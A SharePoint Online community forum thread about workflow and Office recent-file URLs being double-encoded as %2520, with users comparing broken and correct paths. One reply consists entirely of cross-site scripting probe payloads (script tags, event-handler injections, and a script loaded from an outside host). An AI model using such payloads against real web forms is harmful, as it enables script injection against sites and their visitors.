Forum Discussion

Khoa Hoang's avatar
Khoa Hoang
Copper Contributor
Feb 01, 2018
Solved

SharePoint Workflow URL Encoding %2520

I recently got this error on my SharePoint online environment. Whenever I initiate the workflow, it bring up the form with URL: https://site url/_layouts/15/IniWrkflIP.aspx?List={...}&ItemGuid={...}&TemplateID={}&Source=DocumentURLPath

 

The problem is document URL path is encoded as %2520 when there is a space in Document Library name, for example: "Share Documents" will be encoded as "Share%2520Document". 

 

When you hit Cancel button on the form, it does not bring you back to the document location because the path is not found. 

 

I only experience this problem in the last 2 weeks? Any thought? Is that because SP Online change the way it handle % and #? How can I fix this issue? 

11 Replies

  • علق BlazeK1ng420في 5 يونيو 2023
    ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))/ /";alert(String.fromCharCode(88,83,83))//--></script>">'><script>alert(String.fromCharCode(88,83,83))</script>
    ' ';!--"=&{()}
    0"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
    &lt;script/src=البيانات:,alert()>
    <marquee/onstart=alert()>
    <video/poster/onerror=alert()>
    <isindex/autofocus/onfocus=alert()>

    &lt;script src=http://ha.ckers.org/xss.js>&lt;/script&gt;
  • Try test the scenario again and see if it has been resolved.

    • Ajay_Deval's avatar
      Ajay_Deval
      Copper Contributor

      Jason Ross  what is the solution to this, I cannot interpret the answer from this article. I am having trouble with url https://sharepointsite.domain.com/projectname/Shared%20Documents/Forms/AllItems.aspx

       

      it happens after the Fed-auth redirection is seen, after that %2520 is added in place of %20 in the above url. 

       

      is browser/ms office/any specific windows setting is responsible for url encoding.?

       

      I'll appreciate any help in the matter, thanks in advance.

       

       

      Regards

      Ajay Deval

    • Andreas Ratzke's avatar
      Andreas Ratzke
      Copper Contributor

      Dear Jason,

       

      I got the same issue when I try to open Recent Documents in MS Office (Word, Excel, PP ...) which are located on our Sharepoint Online instance.

      The following version of Office / Windows are installed:

      Excel: 16.0.9126.2282 - 32 Bit

      Windows: Version 1709 - 16299.666

       

      Wrong Path in Excel Recent files:

      https://xxxx.sharepoint.com/sites/ITandCommunicationSingapore/Shared%2520Documents/Communication%2520and%2520Safety%2520System%2520DTSS2/1%2520Quotations%2520and%2520Contracts/Price-Comparison-NEW.xlsx?web=1

       

      Right Path:

      https://xxxx.sharepoint.com/sites/ITandCommunicationSingapore/Shared%20Documents/Communication%20and%20Safety%20System%20DTSS2/1%20Quotations%20and%20Contracts/Price-Comparison-NEW.xlsx

       

      When I open files directly from the Windows Explorer (One Note integration), it works and also when I browse inside Office and open files from there.

       

      Any idea??

       

      Best regards, Andreas

    • Khoa Hoang's avatar
      Khoa Hoang
      Copper Contributor

      Yes it is working now. I am glad you guys fixed it. 

       

      So, did special character support cause that issue? 

      • Andreas Ratzke's avatar
        Andreas Ratzke
        Copper Contributor

        Dear Jason,

         

        I got the same issue when I try to open Recent Documents in MS Office (Word, Excel, PP ...) which are located on our Sharepoint Online instance.

        The following version of Office / Windows are installed:

        Excel: 16.0.9126.2282 - 32 Bit

        Windows: Version 1709 - 16299.666

         

        Wrong Path in Excel Recent files:

        https://XXXX.sharepoint.com/sites/ITandCommunicationSingapore/Shared%2520Documents/Communication%2520and%2520Safety%2520System%2520DTSS2/1%2520Quotations%2520and%2520Contracts/Price-Comparison-NEW.xlsx?web=1

         

        Right Path:

        https://XXXX.sharepoint.com/sites/ITandCommunicationSingapore/Shared%20Documents/Communication%20and%20Safety%20System%20DTSS2/1%20Quotations%20and%20Contracts/Price-Comparison-NEW.xlsx

         

        When I open files directly from the Windows Explorer (One Note integration), it works and also when I browse inside Office and open files from there.

         

        Any idea??

         

        Best regards, Andreas

Resources